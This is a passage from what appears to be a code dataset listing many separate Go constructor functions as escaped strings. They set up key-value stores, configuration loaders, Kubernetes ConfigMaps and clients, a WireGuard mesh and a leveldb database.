makeStorage(\"\")\n\tstore.keys = []string{}\n\tstore.compression = c.Compression\n\tstore.dbs = make(map[string]*DB)\n\tstore.lock = mutex\n\tstore.stat = new(stats.Statistics)\n\tstore.stat.Start = startTime\n\tstore.indexes = make(map[string]*index)\n\tc.setMissedValues()\n\tstore.config = c\n\tif c.LoadPath != \"\" {\n\t\terrLoad := loadData(store, c.LoadPath)\n\t\tif errLoad != nil {\n\t\t\treturn nil, fmt.Errorf(\"unable to load data: %v\", errLoad)\n\t\t}\n\t}\n\tstore.writer, err = newWriter(c.LoadPath)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to create writer: %v\", err)\n\t}\n\treturn store, nil\n}","func makeKvStore(cluster []string, id int, port int, join bool, etcd bool) {\n\tdefer wg.Done()\n\tproposeC := make(chan string)\n\tdefer close(proposeC)\n\tconfChangeC := make(chan raftpb.ConfChange)\n\tdefer close(confChangeC)\n\n\t// raft provides a commit stream for the proposals from the http api\n\tvar kvs *kvstore\n\tgetSnapshot := func() ([]byte, error) { return kvs.getSnapshot() }\n\tcommitC, errorC, snapshotterReady := newRaftNode(id, cluster, join, getSnapshot, proposeC, confChangeC)\n\n\tkvs = newKVStore(<-snapshotterReady, proposeC, commitC, errorC)\n\n\t// the key-value http handler will propose updates to raft\n\tserveHttpKVAPI(kvs, port, confChangeC, errorC)\n}","func NewKeyValue()(*KeyValue) {\n m := &KeyValue{\n }\n m.SetAdditionalData(make(map[string]interface{}));\n odataTypeValue := \"#microsoft.graph.keyValue\";\n m.SetOdataType(&odataTypeValue);\n return m\n}","func NewConfigMap(cr *databasev1alpha1.PostgreSQL) (*v1.ConfigMap, error) {\n\tlabels := utils.NewLabels(\"postgres\", cr.ObjectMeta.Name, \"postgres\")\n\tabsPath, _ := filepath.Abs(\"scripts/pre-stop.sh\")\n\tpreStop, err := ioutil.ReadFile(absPath)\n\n\tif err != nil {\n\t\tlog.Error(err, \"Unable to read file.\")\n\t\treturn nil, err\n\t}\n\tconfigMap := &v1.ConfigMap{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: cr.ObjectMeta.Name + \"-postgresql-hooks-scripts\",\n\t\t\tLabels: labels,\n\t\t\tNamespace: cr.Spec.Namespace,\n\t\t},\n\t\tData: map[string]string{\n\t\t\t\"pre-stop.sh\": string(preStop),\n\t\t},\n\t}\n\n\treturn configMap, nil\n}","func New(ctx context.Context, m map[string]interface{}) (storage.Registry, error) {\n\tvar c config\n\tif err := cfg.Decode(m, &c); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &reg{c: &c}, nil\n}","func New(conf map[string]string) *Conf {\n\treturn &Conf{\n\t\tc: conf,\n\t}\n}","func newEphemeralKV(s *concurrency.Session, key, val string) (*EphemeralKV, error) {\n\tk, err := newKV(s.Client(), key, val, s.Lease())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &EphemeralKV{*k}, nil\n}","func (c *ContainerConfigMapSpec) Create() (client.Object, error) {\n\tcr := c.qserv\n\ttmplData := generateTemplateData(cr)\n\n\treqLogger := log.WithValues(\"Request.Namespace\", cr.Namespace, \"Request.Name\", cr.Name)\n\n\tname := c.GetName()\n\tnamespace := cr.Namespace\n\n\tlabels := util.GetContainerLabels(c.ContainerName, cr.Name)\n\troot := filepath.Join(\"/\", \"configmap\", string(c.ContainerName), c.Subdir)\n\n\tcm := &v1.ConfigMap{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: name,\n\t\t\tNamespace: namespace,\n\t\t\tLabels: labels,\n\t\t},\n\t\tData: scanDir(root, reqLogger, &tmplData),\n\t}\n\treturn cm, nil\n}","func New(backend Backend, enc encapsulation.Encapsulator, granularity Granularity, hostname string, port int, subnet *net.IPNet, local, cni bool, cniPath, iface string, cleanup bool, cleanUpIface bool, createIface bool, mtu uint, resyncPeriod time.Duration, prioritisePrivateAddr, iptablesForwardRule bool, serviceCIDRs []*net.IPNet, logger log.Logger, registerer prometheus.Registerer) (*Mesh, error) {\n\tif err := os.MkdirAll(kiloPath, 0700); err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to create directory to store configuration: %v\", err)\n\t}\n\tprivateB, err := os.ReadFile(privateKeyPath)\n\tif err != nil && !os.IsNotExist(err) {\n\t\treturn nil, fmt.Errorf(\"failed to read private key file: %v\", err)\n\t}\n\tprivateB = bytes.Trim(privateB, \"\\n\")\n\tprivate, err := wgtypes.ParseKey(string(privateB))\n\tif err != nil {\n\t\tlevel.Warn(logger).Log(\"msg\", \"no private key found on disk; generating one now\")\n\t\tif private, err = wgtypes.GeneratePrivateKey(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif err := os.WriteFile(privateKeyPath, []byte(private.String()), 0600); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to write private key to disk: %v\", err)\n\t\t}\n\t}\n\tpublic := private.PublicKey()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcniIndex, err := cniDeviceIndex()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to query netlink for CNI device: %v\", err)\n\t}\n\tvar kiloIface int\n\tif createIface {\n\t\tlink, err := netlink.LinkByName(iface)\n\t\tif err != nil {\n\t\t\tkiloIface, _, err = wireguard.New(iface, mtu)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"failed to create WireGuard interface: %v\", err)\n\t\t\t}\n\t\t} else {\n\t\t\tkiloIface = link.Attrs().Index\n\t\t}\n\t} else {\n\t\tlink, err := netlink.LinkByName(iface)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to get interface index: %v\", err)\n\t\t}\n\t\tkiloIface = link.Attrs().Index\n\t}\n\tprivateIP, publicIP, err := getIP(hostname, kiloIface, enc.Index(), cniIndex)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to find public IP: %v\", err)\n\t}\n\tvar privIface int\n\tif privateIP != nil {\n\t\tifaces, err := interfacesForIP(privateIP)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to find interface for private IP: %v\", err)\n\t\t}\n\t\tprivIface = ifaces[0].Index\n\t\tif enc.Strategy() != encapsulation.Never {\n\t\t\tif err := enc.Init(privIface); err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"failed to initialize encapsulator: %v\", err)\n\t\t\t}\n\t\t}\n\t\tlevel.Debug(logger).Log(\"msg\", fmt.Sprintf(\"using %s as the private IP address\", privateIP.String()))\n\t} else {\n\t\tenc = encapsulation.Noop(enc.Strategy())\n\t\tlevel.Debug(logger).Log(\"msg\", \"running without a private IP address\")\n\t}\n\tvar externalIP *net.IPNet\n\tif prioritisePrivateAddr && privateIP != nil {\n\t\texternalIP = privateIP\n\t} else {\n\t\texternalIP = publicIP\n\t}\n\tlevel.Debug(logger).Log(\"msg\", fmt.Sprintf(\"using %s as the public IP address\", publicIP.String()))\n\tipTables, err := iptables.New(iptables.WithRegisterer(registerer), iptables.WithLogger(log.With(logger, \"component\", \"iptables\")), iptables.WithResyncPeriod(resyncPeriod))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to IP tables controller: %v\", err)\n\t}\n\tmesh := Mesh{\n\t\tBackend: backend,\n\t\tcleanup: cleanup,\n\t\tcleanUpIface: cleanUpIface,\n\t\tcni: cni,\n\t\tcniPath: cniPath,\n\t\tenc: enc,\n\t\texternalIP: externalIP,\n\t\tgranularity: granularity,\n\t\thostname: hostname,\n\t\tinternalIP: privateIP,\n\t\tipTables: ipTables,\n\t\tkiloIface: kiloIface,\n\t\tkiloIfaceName: iface,\n\t\tnodes: make(map[string]*Node),\n\t\tpeers: make(map[string]*Peer),\n\t\tport: port,\n\t\tpriv: private,\n\t\tprivIface: privIface,\n\t\tpub: public,\n\t\tresyncPeriod: resyncPeriod,\n\t\tiptablesForwardRule: iptablesForwardRule,\n\t\tlocal: local,\n\t\tserviceCIDRs: serviceCIDRs,\n\t\tsubnet: subnet,\n\t\ttable: route.NewTable(),\n\t\terrorCounter: prometheus.NewCounterVec(prometheus.CounterOpts{\n\t\t\tName: \"kilo_errors_total\",\n\t\t\tHelp: \"Number of errors that occurred while administering the mesh.\",\n\t\t}, []string{\"event\"}),\n\t\tleaderGuage: prometheus.NewGauge(prometheus.GaugeOpts{\n\t\t\tName: \"kilo_leader\",\n\t\t\tHelp: \"Leadership status of the node.\",\n\t\t}),\n\t\tnodesGuage: prometheus.NewGauge(prometheus.GaugeOpts{\n\t\t\tName: \"kilo_nodes\",\n\t\t\tHelp: \"Number of nodes in the mesh.\",\n\t\t}),\n\t\tpeersGuage: prometheus.NewGauge(prometheus.GaugeOpts{\n\t\t\tName: \"kilo_peers\",\n\t\t\tHelp: \"Number of peers in the mesh.\",\n\t\t}),\n\t\treconcileCounter: prometheus.NewCounter(prometheus.CounterOpts{\n\t\t\tName: \"kilo_reconciles_total\",\n\t\t\tHelp: \"Number of reconciliation attempts.\",\n\t\t}),\n\t\tlogger: logger,\n\t}\n\tregisterer.MustRegister(\n\t\tmesh.errorCounter,\n\t\tmesh.leaderGuage,\n\t\tmesh.nodesGuage,\n\t\tmesh.peersGuage,\n\t\tmesh.reconcileCounter,\n\t)\n\treturn &mesh, nil\n}","func New() INI {\n\treturn INI{defaultSection: make(kvMap)}\n}","func New(options file.Options) config.Configuration {\n\treturn file.NewFileConfiguration(\n\t\tfile.FullOptions{\n\t\t\tOptions: options.WithDefaults(),\n\t\t\tByteToMapReader: yamlFileValuesFiller,\n\t\t\tReflectionMapper: yamlFileValuesMapper,\n\t\t},\n\t)\n}","func New(_ logger.Logf, secretName string) (*Store, error) {\n\tc, err := kube.New()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcanPatch, err := c.CheckSecretPermissions(context.Background(), secretName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Store{\n\t\tclient: c,\n\t\tcanPatch: canPatch,\n\t\tsecretName: secretName,\n\t}, nil\n}","func (f *MemKv) newWatcher(ctx context.Context, key string, fromVersion string) (*watcher, error) {\n\tif strings.HasSuffix(key, \"/\") {\n\t\treturn nil, fmt.Errorf(\"Watch called on a prefix\")\n\t}\n\treturn f.watch(ctx, key, fromVersion, false)\n}","func newConfigFromMap(cfgMap map[string]string) (*configstore, error) {\n\tdata, ok := cfgMap[configdatakey]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"config data not present\")\n\t}\n\treturn &configstore{data}, nil\n}","func NewMetadata(\n\tlogger log.Logger,\n\tenableGlobalDomain dynamicconfig.BoolPropertyFn,\n\tfailoverVersionIncrement int64,\n\tmasterClusterName string,\n\tcurrentClusterName string,\n\tclusterInfo map[string]config.ClusterInformation,\n\treplicationConsumer *config.ReplicationConsumerConfig,\n) Metadata {\n\n\tif len(clusterInfo) == 0 {\n\t\tpanic(\"Empty cluster information\")\n\t} else if len(masterClusterName) == 0 {\n\t\tpanic(\"Master cluster name is empty\")\n\t} else if len(currentClusterName) == 0 {\n\t\tpanic(\"Current cluster name is empty\")\n\t} else if failoverVersionIncrement == 0 {\n\t\tpanic(\"Version increment is 0\")\n\t}\n\n\tversionToClusterName := make(map[int64]string)\n\tfor clusterName, info := range clusterInfo {\n\t\tif failoverVersionIncrement <= info.InitialFailoverVersion || info.InitialFailoverVersion < 0 {\n\t\t\tpanic(fmt.Sprintf(\n\t\t\t\t\"Version increment %v is smaller than initial version: %v.\",\n\t\t\t\tfailoverVersionIncrement,\n\t\t\t\tinfo.InitialFailoverVersion,\n\t\t\t))\n\t\t}\n\t\tif len(clusterName) == 0 {\n\t\t\tpanic(\"Cluster name in all cluster names is empty\")\n\t\t}\n\t\tversionToClusterName[info.InitialFailoverVersion] = clusterName\n\n\t\tif info.Enabled && (len(info.RPCName) == 0 || len(info.RPCAddress) == 0) {\n\t\t\tpanic(fmt.Sprintf(\"Cluster %v: rpc name / address is empty\", clusterName))\n\t\t}\n\t}\n\n\tif _, ok := clusterInfo[currentClusterName]; !ok {\n\t\tpanic(\"Current cluster is not specified in cluster info\")\n\t}\n\tif _, ok := clusterInfo[masterClusterName]; !ok {\n\t\tpanic(\"Master cluster is not specified in cluster info\")\n\t}\n\tif len(versionToClusterName) != len(clusterInfo) {\n\t\tpanic(\"Cluster info initial versions have duplicates\")\n\t}\n\n\treturn &metadataImpl{\n\t\tlogger: logger,\n\t\tenableGlobalDomain: enableGlobalDomain,\n\t\treplicationConsumer: replicationConsumer,\n\t\tfailoverVersionIncrement: failoverVersionIncrement,\n\t\tmasterClusterName: masterClusterName,\n\t\tcurrentClusterName: currentClusterName,\n\t\tclusterInfo: clusterInfo,\n\t\tversionToClusterName: versionToClusterName,\n\t}\n}","func New(t *testing.T, cfg Config) *Environment {\n\te := &Environment{\n\t\thelmPath: \"../kubernetes_helm/helm\",\n\t\tsynkPath: \"src/go/cmd/synk/synk_/synk\",\n\t\tt: t,\n\t\tcfg: cfg,\n\t\tscheme: k8sruntime.NewScheme(),\n\t\tclusters: map[string]*cluster{},\n\t}\n\tif cfg.SchemeFunc != nil {\n\t\tcfg.SchemeFunc(e.scheme)\n\t}\n\tscheme.AddToScheme(e.scheme)\n\n\tvar g errgroup.Group\n\t// Setup cluster concurrently.\n\tfor _, cfg := range cfg.Clusters {\n\t\t// Make name unique to avoid collisions across parallel tests.\n\t\tuniqName := fmt.Sprintf(\"%s-%x\", cfg.Name, time.Now().UnixNano())\n\t\tt.Logf(\"Assigned unique name %q to cluster %q\", uniqName, cfg.Name)\n\n\t\tcluster := &cluster{\n\t\t\tgenName: uniqName,\n\t\t\tcfg: cfg,\n\t\t}\n\t\te.clusters[cfg.Name] = cluster\n\n\t\tg.Go(func() error {\n\t\t\tif err := setupCluster(e.synkPath, cluster); err != nil {\n\t\t\t\t// If cluster has already been created, delete it.\n\t\t\t\tif cluster.kind != nil && os.Getenv(\"NO_TEARDOWN\") == \"\" {\n\t\t\t\t\tcluster.kind.Delete(cfg.Name, \"\")\n\t\t\t\t\tif cluster.kubeConfigPath != \"\" {\n\t\t\t\t\t\tos.Remove(cluster.kubeConfigPath)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn errors.Wrapf(err, \"Create cluster %q\", cfg.Name)\n\t\t\t}\n\t\t\tlog.Printf(\"Created cluster %q\", cfg.Name)\n\t\t\treturn nil\n\t\t})\n\t}\n\tif err := g.Wait(); err != nil {\n\t\tt.Fatal(err)\n\t}\n\treturn e\n}","func New(path, index string) (*Gpks, error) {\n\tfile, err := os.OpenFile(path, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0644)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tinx, err := os.OpenFile(index, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0644)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tinx.Close()\n\treturn &Gpks{\n\t\tsid: make(map[string]int64),\n\t\tnid: make(map[int64]int64),\n\t\tfile: file,\n\t\tpath: path,\n\t\tindex: index,\n\t\tmutex: new(sync.Mutex),\n\t}, nil\n}","func (configMapTemplateFactory) New(def client.ResourceDefinition, c client.Interface, gc interfaces.GraphContext) interfaces.Resource {\n\tcm := parametrizeResource(def.ConfigMap, gc, configMapParamFields).(*v1.ConfigMap)\n\treturn report.SimpleReporter{BaseResource: newConfigMap{Base: Base{def.Meta}, ConfigMap: cm, Client: c.ConfigMaps()}}\n}","func New(fs machinery.Filesystem) store.Store {\n\treturn &yamlStore{fs: fs.FS}\n}","func NewFake(force bool) (m starlark.HasAttrs, closeFn func(), err error) {\n\t// Create a fake API store with some endpoints pre-populated\n\tcm := corev1.ConfigMap{\n\t\tTypeMeta: metav1.TypeMeta{\n\t\t\tAPIVersion: \"v1\",\n\t\t\tKind: \"ConfigMap\",\n\t\t},\n\t\tData: map[string]string{\n\t\t\t\"client-ca-file\": \"contents\",\n\t\t},\n\t}\n\tcmData, err := apiruntime.Encode(unstructured.UnstructuredJSONScheme, &cm)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tfm := map[string][]byte{\n\t\t\"/api/v1/namespaces/kube-system/configmaps/extension-apiserver-authentication\": cmData,\n\t}\n\n\ts := httptest.NewTLSServer(&fakeKube{m: fm})\n\n\tu, err := url.Parse(s.URL)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\th := \"https://\" + u.Host\n\ttlsConfig := rest.TLSClientConfig{\n\t\tInsecure: true,\n\t}\n\trConf := &rest.Config{Host: h, TLSClientConfig: tlsConfig}\n\n\tt, err := rest.TransportFor(rConf)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tk := New(\n\t\th,\n\t\tfakeDiscovery(),\n\t\tdynamic.NewForConfigOrDie(rConf),\n\t\t&http.Client{Transport: t},\n\t\tfalse, /* dryRun */\n\t\tforce,\n\t\tfalse, /* diff */\n\t\tnil, /* diffFilters */\n\t)\n\n\treturn newFakeModule(k.(*kubePackage)), s.Close, nil\n}","func New() kv.Store {\n\treturn newStore(newMapStore())\n}","func NewKVStore() KVStore {\n\treturn &localStore{\n\t\tm: map[string][]byte{},\n\t}\n}","func New(configFile string) *Config {\n\tc, err := ioutil.ReadFile(configFile)\n\tif err != nil {\n\t\tlog.Panicf(\"Read config file %s failed: %s\", configFile, err.Error())\n\t}\n\tcfg := &Config{}\n\tif err := yaml.Unmarshal(c, cfg); err != nil {\n\t\tlog.Panicf(\"yaml.Unmarshal config file %s failed: %s\", configFile, err.Error())\n\t}\n\treturn cfg\n}","func newKubeBuilder(appMan Manifest) Builder {\n\treturn &KubeBuilder{Manifest: appMan}\n}","func newKubeClient(kubeconfigPath string) (*versioned.Clientset, error) {\n\tvar err error\n\tvar kubeConf *rest.Config\n\n\tif kubeconfigPath == \"\" {\n\t\t// creates the in-cluster config\n\t\tkubeConf, err = k8s.GetConfig()\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"build default in cluster kube config failed: %w\", err)\n\t\t}\n\t} else {\n\t\tkubeConf, err = clientcmd.BuildConfigFromFlags(\"\", kubeconfigPath)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"build kube client config from config file failed: %w\", err)\n\t\t}\n\t}\n\treturn versioned.NewForConfig(kubeConf)\n}","func NewVMTConfig(client *client.Client, etcdStorage storage.Storage, probeConfig *probe.ProbeConfig,\n\tspec *K8sTAPServiceSpec) *Config {\n\tconfig := &Config{\n\t\ttapSpec: spec,\n\t\tProbeConfig: probeConfig,\n\t\tClient: client,\n\t\tEtcdStorage: etcdStorage,\n\t\tNodeQueue: vmtcache.NewHashedFIFO(cache.MetaNamespaceKeyFunc),\n\t\tPodQueue: vmtcache.NewHashedFIFO(cache.MetaNamespaceKeyFunc),\n\t\tVMTEventQueue: vmtcache.NewHashedFIFO(registry.VMTEventKeyFunc),\n\t\tStopEverything: make(chan struct{}),\n\t}\n\n\tvmtEventRegistry := registry.NewVMTEventRegistry(config.EtcdStorage)\n\n\t//delete all the vmt events\n\terrorDelete := vmtEventRegistry.DeleteAll()\n\tif errorDelete != nil {\n\t\tglog.Errorf(\"Error deleting all vmt events: %s\", errorDelete)\n\t}\n\n\t// Watch minions.\n\t// Minions may be listed frequently, so provide a local up-to-date cache.\n\t// cache.NewReflector(config.createMinionLW(), &api.Node{}, config.NodeQueue, 0).RunUntil(config.StopEverything)\n\n\t// monitor unassigned pod\n\tcache.NewReflector(config.createUnassignedPodLW(), &api.Pod{}, config.PodQueue, 0).RunUntil(config.StopEverything)\n\n\t// monitor vmtevents\n\tvmtcache.NewReflector(config.createVMTEventLW(), &registry.VMTEvent{}, config.VMTEventQueue, 0).RunUntil(config.StopEverything)\n\n\treturn config\n}","func NewKVData(\n\tfeed *Feed,\n\tbucket, keyspaceId string,\n\tcollectionId string,\n\topaque uint16,\n\treqTs *protobuf.TsVbuuid,\n\tengines map[uint64]*Engine,\n\tendpoints map[string]c.RouterEndpoint,\n\tmutch <-chan *mc.DcpEvent,\n\tkvaddr string,\n\tconfig c.Config,\n\tasync bool,\n\topaque2 uint64) (*KVData, error) {\n\n\tkvdata := &KVData{\n\t\tfeed: feed,\n\t\topaque: opaque,\n\t\ttopic: feed.topic,\n\t\tbucket: bucket,\n\t\tkeyspaceId: keyspaceId,\n\t\tcollectionId: collectionId,\n\t\tconfig: config,\n\t\tengines: make(map[uint64]*Engine),\n\t\tendpoints: make(map[string]c.RouterEndpoint),\n\t\t// 16 is enough, there can't be more than that many out-standing\n\t\t// control calls on this feed.\n\t\tsbch: make(chan []interface{}, 16),\n\n\t\treqTsMutex: &sync.RWMutex{},\n\t\tgenServerStopCh: make(chan bool),\n\t\tgenServerFinCh: make(chan bool),\n\t\trunScatterFinCh: make(chan bool),\n\t\trunScatterDoneCh: make(chan bool),\n\n\t\tstats: &KvdataStats{},\n\t\tkvaddr: kvaddr,\n\t\tasync: async,\n\t\topaque2: opaque2,\n\t}\n\n\tuuid, err := common.NewUUID()\n\tif err != nil {\n\t\tlogging.Errorf(\"%v ##%x common.NewUUID() failed: %v\", kvdata.logPrefix, kvdata.opaque, err)\n\t\treturn nil, err\n\t}\n\tkvdata.uuid = uuid.Uint64()\n\n\tnumVbuckets := config[\"maxVbuckets\"].Int()\n\n\tkvdata.stats.Init(numVbuckets, kvdata)\n\tkvdata.stats.mutch = mutch\n\n\tfmsg := \"KVDT[<-%v<-%v #%v]\"\n\tkvdata.logPrefix = fmt.Sprintf(fmsg, keyspaceId, feed.cluster, feed.topic)\n\tkvdata.syncTimeout = time.Duration(config[\"syncTimeout\"].Int())\n\tkvdata.syncTimeout *= time.Millisecond\n\tfor uuid, engine := range engines {\n\t\tkvdata.engines[uuid] = engine\n\t}\n\tfor raddr, endpoint := range endpoints {\n\t\tkvdata.endpoints[raddr] = endpoint\n\t}\n\n\t// start workers\n\tkvdata.workers = kvdata.spawnWorkers(feed, bucket, keyspaceId, config, opaque, opaque2)\n\t// Gather stats pointers from all workers\n\tkvdata.updateWorkerStats()\n\n\tgo kvdata.genServer(reqTs)\n\tgo kvdata.runScatter(reqTs, mutch)\n\tlogging.Infof(\"%v ##%x started, uuid: %v ...\\n\", kvdata.logPrefix, opaque, kvdata.uuid)\n\treturn kvdata, nil\n}","func newVRFKeyStore(db *gorm.DB, sp utils.ScryptParams) *VRF {\n\treturn &VRF{\n\t\tlock: sync.RWMutex{},\n\t\tkeys: make(InMemoryKeyStore),\n\t\torm: NewVRFORM(db),\n\t\tscryptParams: sp,\n\t}\n}","func NewKVStore(envURL string) (KVStore, error) {\n\tu, err := url.Parse(envURL)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tswitch u.Scheme {\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"Unrecognized scheme for KVStore URL: %v\", u.Scheme)\n\tcase \"consul\":\n\t\treturn makeConsulKVStore(u)\n\tcase \"file\":\n\t\treturn makeHashMapKVStore(u)\n\t}\n}","func newVitessKeyspace(key client.ObjectKey, vt *planetscalev2.VitessCluster, parentLabels map[string]string, keyspace *planetscalev2.VitessKeyspaceTemplate) *planetscalev2.VitessKeyspace {\n\ttemplate := keyspace.DeepCopy()\n\n\timages := planetscalev2.VitessKeyspaceImages{}\n\tplanetscalev2.DefaultVitessKeyspaceImages(&images, &vt.Spec.Images)\n\n\t// Copy parent labels map and add keyspace-specific label.\n\tlabels := make(map[string]string, len(parentLabels)+1)\n\tfor k, v := range parentLabels {\n\t\tlabels[k] = v\n\t}\n\tlabels[planetscalev2.KeyspaceLabel] = keyspace.Name\n\n\tvar backupLocations []planetscalev2.VitessBackupLocation\n\tvar backupEngine planetscalev2.VitessBackupEngine\n\tif vt.Spec.Backup != nil {\n\t\tbackupLocations = vt.Spec.Backup.Locations\n\t\tbackupEngine = vt.Spec.Backup.Engine\n\t}\n\n\treturn &planetscalev2.VitessKeyspace{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tNamespace: key.Namespace,\n\t\t\tName: key.Name,\n\t\t\tLabels: labels,\n\t\t\tAnnotations: keyspace.Annotations,\n\t\t},\n\t\tSpec: planetscalev2.VitessKeyspaceSpec{\n\t\t\tVitessKeyspaceTemplate: *template,\n\t\t\tGlobalLockserver: *lockserver.GlobalConnectionParams(&vt.Spec.GlobalLockserver, vt.Namespace, vt.Name),\n\t\t\tImages: images,\n\t\t\tImagePullPolicies: vt.Spec.ImagePullPolicies,\n\t\t\tImagePullSecrets: vt.Spec.ImagePullSecrets,\n\t\t\tZoneMap: vt.Spec.ZoneMap(),\n\t\t\tBackupLocations: backupLocations,\n\t\t\tBackupEngine: backupEngine,\n\t\t\tExtraVitessFlags: vt.Spec.ExtraVitessFlags,\n\t\t\tTopologyReconciliation: vt.Spec.TopologyReconciliation,\n\t\t\tUpdateStrategy: vt.Spec.UpdateStrategy,\n\t\t},\n\t}\n}","func NewKVStore(db *OrbitDB) *KVStore {\n\tkvs := &KVStore{\n\t\tdb: db,\n\t\tidx: &kvIndex{\n\t\t\tkv: make(map[string]string),\n\t\t},\n\t}\n\n\tmux := handler.NewMux()\n\tmux.AddHandler(OpPut, kvs.idx.handlePut)\n\tmux.AddHandler(OpDel, kvs.idx.handleDel)\n\n\tgo db.Notify(mux)\n\n\treturn kvs\n}","func New(\n\tname string,\n\tkvdbName string,\n\tkvdbBase string,\n\tkvdbMachines []string,\n\tclusterID string,\n\tkvdbOptions map[string]string,\n) (AlertClient, error) {\n\tlock.Lock()\n\tdefer lock.Unlock()\n\n\tif _, ok := instances[name]; ok {\n\t\treturn nil, ErrExist\n\t}\n\tif initFunc, exists := drivers[name]; exists {\n\t\tdriver, err := initFunc(\n\t\t\tkvdbName,\n\t\t\tkvdbBase,\n\t\t\tkvdbMachines,\n\t\t\tclusterID,\n\t\t\tkvdbOptions,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tinstances[name] = driver\n\t\treturn driver, err\n\t}\n\treturn nil, ErrNotSupported\n}","func New(indexer cache.Store) *Manager {\n\tlogger := &bgplog.Logger{Entry: log}\n\tc := &metallbctl.Controller{\n\t\tClient: bgpk8s.New(logger.Logger),\n\t\tIPs: metallballoc.New(),\n\t}\n\n\tf, err := os.Open(option.Config.BGPConfigPath)\n\tif err != nil {\n\t\tlog.WithError(err).Fatal(\"Failed to open BGP config file\")\n\t}\n\tdefer f.Close()\n\n\tconfig, err := bgpconfig.Parse(f)\n\tif err != nil {\n\t\tlog.WithError(err).Fatal(\"Failed to parse BGP configuration\")\n\t}\n\tc.SetConfig(logger, config)\n\n\tmgr := &Manager{\n\t\tController: c,\n\t\tlogger: logger,\n\n\t\tqueue: workqueue.New(),\n\t\tindexer: indexer,\n\t}\n\tgo mgr.run()\n\n\treturn mgr\n}","func New(file string, configBytes []byte, log logging.Logger, namespace string, reg prometheus.Registerer) (database.Database, error) {\n\tparsedConfig := config{\n\t\tBlockCacheCapacity: DefaultBlockCacheSize,\n\t\tDisableSeeksCompaction: true,\n\t\tOpenFilesCacheCapacity: DefaultHandleCap,\n\t\tWriteBuffer: DefaultWriteBufferSize / 2,\n\t\tFilterBitsPerKey: DefaultBitsPerKey,\n\t\tMaxManifestFileSize: DefaultMaxManifestFileSize,\n\t\tMetricUpdateFrequency: DefaultMetricUpdateFrequency,\n\t}\n\tif len(configBytes) > 0 {\n\t\tif err := json.Unmarshal(configBytes, &parsedConfig); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%w: %s\", ErrInvalidConfig, err)\n\t\t}\n\t}\n\n\tlog.Info(\"creating leveldb\",\n\t\tzap.Reflect(\"config\", parsedConfig),\n\t)\n\n\t// Open the db and recover any potential corruptions\n\tdb, err := leveldb.OpenFile(file, &opt.Options{\n\t\tBlockCacheCapacity: parsedConfig.BlockCacheCapacity,\n\t\tBlockSize: parsedConfig.BlockSize,\n\t\tCompactionExpandLimitFactor: parsedConfig.CompactionExpandLimitFactor,\n\t\tCompactionGPOverlapsFactor: parsedConfig.CompactionGPOverlapsFactor,\n\t\tCompactionL0Trigger: parsedConfig.CompactionL0Trigger,\n\t\tCompactionSourceLimitFactor: parsedConfig.CompactionSourceLimitFactor,\n\t\tCompactionTableSize: parsedConfig.CompactionTableSize,\n\t\tCompactionTableSizeMultiplier: parsedConfig.CompactionTableSizeMultiplier,\n\t\tCompactionTotalSize: parsedConfig.CompactionTotalSize,\n\t\tCompactionTotalSizeMultiplier: parsedConfig.CompactionTotalSizeMultiplier,\n\t\tDisableSeeksCompaction: parsedConfig.DisableSeeksCompaction,\n\t\tOpenFilesCacheCapacity: parsedConfig.OpenFilesCacheCapacity,\n\t\tWriteBuffer: parsedConfig.WriteBuffer,\n\t\tFilter: filter.NewBloomFilter(parsedConfig.FilterBitsPerKey),\n\t\tMaxManifestFileSize: parsedConfig.MaxManifestFileSize,\n\t})\n\tif _, corrupted := err.(*errors.ErrCorrupted); corrupted {\n\t\tdb, err = leveldb.RecoverFile(file, nil)\n\t}\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w: %s\", ErrCouldNotOpen, err)\n\t}\n\n\twrappedDB := &Database{\n\t\tDB: db,\n\t\tcloseCh: make(chan struct{}),\n\t}\n\tif parsedConfig.MetricUpdateFrequency > 0 {\n\t\tmetrics, err := newMetrics(namespace, reg)\n\t\tif err != nil {\n\t\t\t// Drop any close error to report the original error\n\t\t\t_ = db.Close()\n\t\t\treturn nil, err\n\t\t}\n\t\twrappedDB.metrics = metrics\n\t\twrappedDB.closeWg.Add(1)\n\t\tgo func() {\n\t\t\tt := time.NewTicker(parsedConfig.MetricUpdateFrequency)\n\t\t\tdefer func() {\n\t\t\t\tt.Stop()\n\t\t\t\twrappedDB.closeWg.Done()\n\t\t\t}()\n\n\t\t\tfor {\n\t\t\t\tif err := wrappedDB.updateMetrics(); 